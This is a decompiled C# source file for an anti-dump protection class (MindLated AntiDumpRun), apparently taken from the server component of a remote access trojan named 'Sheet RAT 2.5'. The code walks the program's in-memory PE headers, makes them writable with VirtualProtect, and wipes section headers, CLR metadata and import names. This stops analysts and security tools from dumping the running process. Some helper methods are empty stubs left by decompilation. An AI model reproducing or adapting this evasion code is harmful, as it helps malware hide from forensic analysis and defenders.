258 lines
10 KiB
C#
258 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using System;
|
|
using System.Windows.Forms;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Anti.Runtime {
|
|
|
|
internal class AntiDumpRun
|
|
{
|
|
private static unsafe void CopyBlock(void* destination, void* source, uint byteCount)
|
|
{
|
|
}
|
|
|
|
private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount)
|
|
{
|
|
}
|
|
|
|
[DllImport("kernel32.dll")]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
private static extern bool VirtualProtect(
|
|
IntPtr lpAddress,
|
|
uint dwSize,
|
|
[MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect,
|
|
[MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect);
|
|
|
|
private static unsafe void Initialize()
|
|
{
|
|
Module module = typeof (AntiDumpRun).Module;
|
|
byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module);
|
|
byte* numPtr1 = hinstance + 60;
|
|
byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6;
|
|
ushort length = *(ushort*) numPtr2;
|
|
byte* numPtr3 = numPtr2 + 14;
|
|
ushort num1 = *(ushort*) numPtr3;
|
|
byte* numPtr4 = numPtr3 + 4 + (int) num1;
|
|
byte* source = stackalloc byte[11];
|
|
if (module.FullyQualifiedName[0] != '<')
|
|
{
|
|
byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/);
|
|
AntiDumpRun.MemoryProtection lpflOldProtect;
|
|
if (*(uint*) (numPtr4 - 120) != 0U)
|
|
{
|
|
byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120);
|
|
byte* numPtr6 = hinstance + *(uint*) numPtr5;
|
|
byte* destination1 = hinstance + *(uint*) (numPtr5 + 12);
|
|
byte* destination2 = hinstance + *(uint*) numPtr6 + 2;
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) source = 1818522734;
|
|
*(int*) (source + 4) = 1818504812;
|
|
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
|
|
*(short*) (source + 8) = (short) 108;
|
|
source[10] = (byte) 0;
|
|
AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U);
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) source = 1866691662;
|
|
*(int*) (source + 4) = 1852404846;
|
|
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
|
|
*(short*) (source + 8) = (short) 25973;
|
|
source[10] = (byte) 0;
|
|
AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U);
|
|
}
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U);
|
|
numPtr4 += 40;
|
|
}
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
byte* numPtr7 = hinstance + *(uint*) (startAddress + 8);
|
|
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) numPtr7 = 0;
|
|
byte* numPtr8 = numPtr7 + 12;
|
|
byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2;
|
|
ushort num2 = (ushort) *numPtr9;
|
|
byte* numPtr10 = numPtr9 + 2;
|
|
for (int index1 = 0; index1 < (int) num2; ++index1)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
numPtr10 = numPtr10 + 4 + 4;
|
|
for (int index2 = 0; index2 < 8; ++index2)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*numPtr10 = (byte) 0;
|
|
byte* numPtr11 = numPtr10 + 1;
|
|
if (*numPtr11 == (byte) 0)
|
|
{
|
|
numPtr10 = numPtr11 + 3;
|
|
break;
|
|
}
|
|
*numPtr11 = (byte) 0;
|
|
byte* numPtr12 = numPtr11 + 1;
|
|
if (*numPtr12 == (byte) 0)
|
|
{
|
|
numPtr10 = numPtr12 + 2;
|
|
break;
|
|
}
|
|
*numPtr12 = (byte) 0;
|
|
byte* numPtr13 = numPtr12 + 1;
|
|
if (*numPtr13 == (byte) 0)
|
|
{
|
|
numPtr10 = numPtr13 + 1;
|
|
break;
|
|
}
|
|
*numPtr13 = (byte) 0;
|
|
numPtr10 = numPtr13 + 1;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/);
|
|
uint num4 = *(uint*) (numPtr4 - 120);
|
|
uint[] numArray1 = new uint[(int) length];
|
|
uint[] numArray2 = new uint[(int) length];
|
|
uint[] numArray3 = new uint[(int) length];
|
|
AntiDumpRun.MemoryProtection lpflOldProtect;
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
|
|
numArray1[index] = *(uint*) (numPtr4 + 12);
|
|
numArray2[index] = *(uint*) (numPtr4 + 8);
|
|
numArray3[index] = *(uint*) (numPtr4 + 20);
|
|
numPtr4 += 40;
|
|
}
|
|
if (num4 != 0U)
|
|
{
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index])
|
|
{
|
|
num4 = num4 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
byte* numPtr14 = hinstance + num4;
|
|
uint num5 = *(uint*) numPtr14;
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index])
|
|
{
|
|
num5 = num5 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
byte* numPtr15 = hinstance + num5;
|
|
uint num6 = *(uint*) (numPtr14 + 12);
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index])
|
|
{
|
|
num6 = num6 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
uint num7 = *(uint*) numPtr15 + 2U;
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index])
|
|
{
|
|
num7 = num7 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) source = 1818522734;
|
|
*(int*) (source + 4) = 1818504812;
|
|
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
|
|
*(short*) (source + 8) = (short) 108;
|
|
source[10] = (byte) 0;
|
|
AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U);
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) source = 1866691662;
|
|
*(int*) (source + 4) = 1852404846;
|
|
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
|
|
*(short*) (source + 8) = (short) 25973;
|
|
source[10] = (byte) 0;
|
|
AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U);
|
|
}
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index])
|
|
{
|
|
num3 = num3 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
byte* startAddress = hinstance + num3;
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
uint num8 = *(uint*) (startAddress + 8);
|
|
for (int index = 0; index < (int) length; ++index)
|
|
{
|
|
if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index])
|
|
{
|
|
num8 = num8 - numArray1[index] + numArray3[index];
|
|
break;
|
|
}
|
|
}
|
|
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
|
|
byte* numPtr16 = hinstance + num8;
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*(int*) numPtr16 = 0;
|
|
byte* numPtr17 = numPtr16 + 12;
|
|
byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2;
|
|
ushort num9 = (ushort) *numPtr18;
|
|
byte* numPtr19 = numPtr18 + 2;
|
|
for (int index3 = 0; index3 < (int) num9; ++index3)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
numPtr19 = numPtr19 + 4 + 4;
|
|
for (int index4 = 0; index4 < 8; ++index4)
|
|
{
|
|
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
|
|
*numPtr19 = (byte) 0;
|
|
byte* numPtr20 = numPtr19 + 1;
|
|
if (*numPtr20 == (byte) 0)
|
|
{
|
|
numPtr19 = numPtr20 + 3;
|
|
break;
|
|
}
|
|
*numPtr20 = (byte) 0;
|
|
byte* numPtr21 = numPtr20 + 1;
|
|
if (*numPtr21 == (byte) 0)
|
|
{
|
|
numPtr19 = numPtr21 + 2;
|
|
break;
|
|
}
|
|
*numPtr21 = (byte) 0;
|
|
byte* numPtr22 = numPtr21 + 1;
|
|
if (*numPtr22 == (byte) 0)
|
|
{
|
|
numPtr19 = numPtr22 + 1;
|
|
break;
|
|
}
|
|
*numPtr22 = (byte) 0;
|
|
numPtr19 = numPtr22 + 1;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
internal enum MemoryProtection
|
|
{
|
|
ExecuteReadWrite = 64, // 0x00000040
|
|
}
|
|
}
|
|
}
|
|
|
|
|